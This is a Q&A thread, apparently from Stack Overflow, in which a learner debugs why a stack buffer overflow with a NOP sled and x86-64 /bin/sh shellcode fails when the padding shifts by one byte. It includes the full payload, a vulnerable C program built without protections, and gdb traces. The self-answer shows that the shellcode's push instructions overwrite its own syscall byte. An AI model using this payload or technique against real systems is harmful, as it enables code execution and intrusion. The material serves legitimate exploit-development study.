efie
efie

Reputation: 544

Why does the amount of NOPs seem to impact whether shellcode is executed successfully?

I'm learning about buffer overflows (for educational purposes only) and while playing around with the NOP sliding technique to execute shellcode some questions arised as to why shellcode sometimes is not executed.

I compiled the following code (using Ubuntu 18.04.1 LTS (x86_64), gcc 7.3.0., ASLR disabled)

#include <stdio.h>
#include <string.h>

void function (char *args)
{
    char   buff[64];
    printf ("%p\n", buff);
    strcpy (buff, args);
}

int main (int argc, char *argv[])
{
    function (argv[1]);
}

as follows:gcc -g -o main main.c -fno-stack-protector -z execstack. I then evoked gdb main, b 9, and

run `perl -e '{ print "\x90"x15; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x8; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'`

The string above consists of NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address. I chose the return address according to the output of the printf line. (Attention: To say it explicitly, the hexcode above opens a shell in x86_x64).

As can be seen from the following output, the buffer is overflowed as intended.

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x48
0x7fffffffd8c0: 0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2    0x48
0x7fffffffd8c8: 0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68
0x7fffffffd8d0: 0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1    0xeb
0x7fffffffd8d8: 0x08    0x53    0x48    0x89    0xe7    0x4d    0x31    0xd2
0x7fffffffd8e0: 0x41    0x52    0x57    0x48    0x89    0xe6    0x0f    0x05
0x7fffffffd8e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

Continuing from here indeed opens the shell. However, when I use the following as an argument (the only difference is that I replaced \x90"x15 by \x90"x16 and \x90"x8 by \x90"x7)

run `perl -e '{ print "\x90"x16; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x7; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'` 

I get

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8c0: 0x48    0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2
0x7fffffffd8c8: 0x48    0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73
0x7fffffffd8d0: 0x68    0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1
0x7fffffffd8d8: 0xeb    0x08    0x53    0x48    0x89    0xe7    0x4d    0x31
0x7fffffffd8e0: 0xd2    0x41    0x52    0x57    0x48    0x89    0xe6    0x0f
0x7fffffffd8e8: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

which looks fine to me (the same as above, except reflecting the change in the argument), though when I continue this time I get

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()

and no shell is opened.


Edit: I added the disassembly of the shellcode:

0000000000400078 <_start>:
  400078:   48 31 c0                xor    %rax,%rax
  40007b:   b0 3b                   mov    $0x3b,%al
  40007d:   48 31 d2                xor    %rdx,%rdx
  400080:   48 bb 2f 62 69 6e 2f    movabs $0x1168732f6e69622f,%rbx
  400087:   73 68 11 
  40008a:   48 c1 e3 08             shl    $0x8,%rbx
  40008e:   48 c1 eb 08             shr    $0x8,%rbx
  400092:   53                      push   %rbx
  400093:   48 89 e7                mov    %rsp,%rdi
  400096:   4d 31 d2                xor    %r10,%r10
  400099:   41 52                   push   %r10
  40009b:   57                      push   %rdi
  40009c:   48 89 e6                mov    %rsp,%rsi
  40009f:   0f 05                   syscall

Upvotes: 2

Views: 1078

Answers (1)

efie
efie

Reputation: 544

Jester's guess that the shellcode's push operations overwrite the instructions at the far end of the shell code regarding my second example was correct:

Checking the current instruction after receiving the SIGILL by setting set disassemble-next-line on and repeating the second example yields

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea:  ff  (bad)

The NOP (90) which was at this address previously has been overwritten by ff.

How does this happen? Repeat the second example again and additionally set b 8. At this point in time, the buffer has not been overflown yet.

(gdb) info frame 0
[...]
Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

The bytes starting at 0x7fffffffd8f8 contain the address which will be returned to after having left the function function. Then, this 0x7fffffffd8f8 address will also be the address from which stack will continue to grow again (there, the first 8 bytes will be stored). Indeed, continuing with gdb and using the si command shows that before the first push instruction of the shellcode the stack pointer points to 0x7fffffffd900:

(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da:  53      push   %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8    0xd9    0xff    0xff    0xff    0x7f    0x00    0x00 

... and when the push instruction is executed the bytes are stored at address 0x7fffffffd8f8:

(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db:  48 89 e7        mov    %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x00

Continuing with this, one can see that after the last push instruction of the shellcode the content of push is pushed on the stack at address 0x7fffffffd8e8:

0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3:  57      push   %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4:  48 89 e6        mov    %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

However, this is also the place where the last byte for the instruction of syscall is stored (see the x/80bx buff output in the question for the second example). Therefore, the syscall and thus the shellcode cannot be executed successfully. This doesn't happen in the first example since then the bytes pushed onto the stack grow right til the end of the shellcode (without overriding a byte of it): 8 bytes for the 8 NOPs ("\x90"x8) + 8 bytes for the saved base pointer + 8 bytes for the return address provide enough space for the 3 push operations.

Upvotes: 3

Related Questions